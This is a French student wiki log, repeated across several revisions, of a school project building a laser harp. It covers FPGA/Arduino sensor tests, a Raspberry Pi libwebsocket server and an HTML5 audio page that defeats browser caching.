Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.
Notre deuxième solution était de modifier la valeur de test1.src. Mais cela voulait dire effectuer beaucoup de traitement coté client, et si on décidait de rajouter beaucoup de son, ou de générer de nouveaux fichiers son, ce la demandait soit de modifier le HTML à chaque ajout de fonctionnalité, ou de créer une grande quantité de fichier son qui pollueraient le serveur. Nous avons donc décidé qu'il serait plus pratique de toujours écraser la source avec le nouveau son a lire, et de ne jamais changer la valeur de test1.src.

Afin d'effectuer des tests afin de voir si notre idée marchait bien, nous avons utiliser le code C très simple suivant :

int cpt;
for (cpt = 0; cpt < 250000000; cpt++);

boole = !boole;
printf("changement: %d\n",boole);
if(boole)
system("sudo cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("sudo cp Raindrops-noise.mp3 ./sound.mp3");
}

Ce code nous permet de modifier assez fréquemment le fichier source. Les fichiers audio de tests ont été trouvé sur http://www.orangefreesounds.com/ et sont libre de droit.

Dans la page HTML de test nous utilisé les options de la balise source suivante :

test1.loop = true;

qui permet au son de se jouer en boucle.

Bien que les fichiers soit bien modifiés en local sur le serveur, toujours le même son est joué.

On a donc testé de recharger le son uniquement lorsque le son est modifié, avec un envoi de message du serveur par socket.
Le serveur est conçu tel que suit :
while(1){
int cpt;
bool boole;
boole = 1;
for (cpt = 0; cpt < 50000; cpt++);

boole = !boole;

if(boole)
system("cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("cp Raindrops-noise.mp3 ./sound.mp3");

libwebsocket_write(test,(unsigned char *)out,1,LWS_WRITE_TEXT);

}
libwebsocket_context_destroy(context);
return 0;
}

On modifie la source, et ensuite on envoi un message, dont le contenu n'est pas important, le message sert juste d'indication au client que la source a changé.

Le code coté client :

websocket.onmessage=function(message){
test1.pause();
test1.load();
test1.play();
};

A la réception d'un message, on pause le son avec test1.pause() puis on recharge le son afin d'aller chercher la valeur actuelle de la source, puis on relance le son avec test1.play().
D'après la documentation technique de HTML5, la fonction load() est sensé recharger la source si elle a changé, mais le résultat de ce test n'est pas concluant : le client joue toujours le même son.
Nous ne comprenons pas pourquoi.

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

Après de nombreux tests sur la communication entre le serveur et le client web et le problème de toujours lire le même son, même si la source a été modifié, il s'est avéré que le client lisait toujours le même son quoi qu'il arrive, même si le fichier cible n’existait plus sur le serveur. Comprendre pourquoi a nécessité quelque recherche et la source du problème était la suivante : les navigateurs utilisés, Mozilla Firefox et Google Chrome, mettaient en cache le fichier son à la première lecture, et ne vérifiait plus l'état du fichier sur le serveur, fichier qui donc pouvait être modifié sans que cela n'ai un impact sur le déroulement coté client. Il a fallut trouver un moyen de contourner le cache. N'ayant aucune connaissance sur le domaine, les recherches ont été infructueuses. Suite à une conversation avec M. Rudametkin, nous avons été orienté vers ce lien https://stackoverflow.com/questions/1077041/refresh-image-with-a-new-one-at-the-same-url/1077051#1077051 qui nous a permit de résoudre le problème.
En utilisant la commande :

test1.src="sound.mp3?"+ new Date().getTime();

nous trompons le cache en forçant la revérification de la source sur le serveur. Grâce a cette méthode nous avons enfin réussi à modifier le son joué par le client, et nous avons pu passer à la gestion de la communication série entre le RPi et le FPGA/Arduino.

Le code fonctionnel de la page web est le suivant :

<code><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<audio controls="controls" id="mySound">
</audio>
<script
src="jquery.js"></script>
<script type="text/javascript">
window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://10.42.93:9000','myprotocol');
var test1 = document.getElementById("mySound");
test1.src="sound.mp3";
test1.autoplay = true;
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
test1.pause();
test1.src="sound.mp3?"+ new Date().getTime();
test1.load();
test1.play();
};
var son = document.getELementById("sound");
son.loop = true;
</script>
</head>
<body>
<h1>WebSockets test</h1>
<input type="text" id="message"/>
<button onclick="sendMessage();">Send</button>
<div id="messages"></div>
</body>
</html>
</code>

Ce code n'est pas la version final, juste l'ensemble des parties logiques et fonctionnelles de la page web.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T10:00:32Z

Bcartier : /* Séance supplémentaire 1 : Réalisation du site Web */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}

Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.
Notre deuxième solution était de modifier la valeur de test1.src. Mais cela voulait dire effectuer beaucoup de traitement coté client, et si on décidait de rajouter beaucoup de son, ou de générer de nouveaux fichiers son, ce la demandait soit de modifier le HTML à chaque ajout de fonctionnalité, ou de créer une grande quantité de fichier son qui pollueraient le serveur. Nous avons donc décidé qu'il serait plus pratique de toujours écraser la source avec le nouveau son a lire, et de ne jamais changer la valeur de test1.src.

Afin d'effectuer des tests afin de voir si notre idée marchait bien, nous avons utiliser le code C très simple suivant :

int cpt;
for (cpt = 0; cpt < 250000000; cpt++);

boole = !boole;
printf("changement: %d\n",boole);
if(boole)
system("sudo cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("sudo cp Raindrops-noise.mp3 ./sound.mp3");
}

Ce code nous permet de modifier assez fréquemment le fichier source. Les fichiers audio de tests ont été trouvé sur http://www.orangefreesounds.com/ et sont libre de droit.

Dans la page HTML de test nous utilisé les options de la balise source suivante :

test1.loop = true;

qui permet au son de se jouer en boucle.

Bien que les fichiers soit bien modifiés en local sur le serveur, toujours le même son est joué.

On a donc testé de recharger le son uniquement lorsque le son est modifié, avec un envoi de message du serveur par socket.
Le serveur est conçu tel que suit :
while(1){
int cpt;
bool boole;
boole = 1;
for (cpt = 0; cpt < 50000; cpt++);

boole = !boole;

if(boole)
system("cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("cp Raindrops-noise.mp3 ./sound.mp3");

libwebsocket_write(test,(unsigned char *)out,1,LWS_WRITE_TEXT);

}
libwebsocket_context_destroy(context);
return 0;
}

On modifie la source, et ensuite on envoi un message, dont le contenu n'est pas important, le message sert juste d'indication au client que la source a changé.

Le code coté client :

websocket.onmessage=function(message){
test1.pause();
test1.load();
test1.play();
};

A la réception d'un message, on pause le son avec test1.pause() puis on recharge le son afin d'aller chercher la valeur actuelle de la source, puis on relance le son avec test1.play().
D'après la documentation technique de HTML5, la fonction load() est sensé recharger la source si elle a changé, mais le résultat de ce test n'est pas concluant : le client joue toujours le même son.
Nous ne comprenons pas pourquoi.

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

Après de nombreux tests sur la communication entre le serveur et le client web et le problème de toujours lire le même son, même si la source a été modifié, il s'est avéré que le client lisait toujours le même son quoi qu'il arrive, même si le fichier cible n’existait plus sur le serveur. Comprendre pourquoi a nécessité quelque recherche et la source du problème était la suivante : les navigateurs utilisés, Mozilla Firefox et Google Chrome, mettaient en cache le fichier son à la première lecture, et ne vérifiait plus l'état du fichier sur le serveur, fichier qui donc pouvait être modifié sans que cela n'ai un impact sur le déroulement coté client. Il a fallut trouver un moyen de contourner le cache. N'ayant aucune connaissance sur le domaine, les recherches ont été infructueuses. Suite à une conversation avec M. Rudametkin, nous avons été orienté vers ce lien https://stackoverflow.com/questions/1077041/refresh-image-with-a-new-one-at-the-same-url/1077051#1077051 qui nous a permit de résoudre le problème.
En utilisant la commande :

test1.src="sound.mp3?"+ new Date().getTime();

nous trompons le cache en forçant la revérification de la source sur le serveur. Grâce a cette méthode nous avons enfin réussi à modifier le son joué par le client, et nous avons pu passer à la gestion de la communication série entre le RPi et le FPGA/Arduino.

Le code fonctionnel de la page web est le suivant :

<code> <!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<audio controls="controls" id="mySound">
</audio>
<script
src="jquery.js"></script>
<script type="text/javascript">
window.WebSocket=(window.WebSocket||window.MozWebSocket);

var websocket=new WebSocket('ws://10.42.93:9000','myprotocol');
var test1 = document.getElementById("mySound");
test1.src="sound.mp3";
test1.autoplay = true;
websocket.onopen=function(){ $('h1').css('color','green'); };

websocket.onerror=function(){ $('h1').css('color','red'); };

websocket.onmessage=function(message){
test1.pause();
test1.src="sound.mp3?"+ new Date().getTime();
test1.load();
test1.play();
};

var son = document.getELementById("sound");
son.loop = true;

</script>
</head>
<body>
<h1>WebSockets test</h1>
<input type="text" id="message"/>
<button onclick="sendMessage();">Send</button>
<div id="messages"></div>
</body>
</html>
</code>

Ce code n'est pas la version final, juste l'ensemble des parties logiques et fonctionnelles de la page web.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T09:40:01Z

Bcartier : /* Partie informatique */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

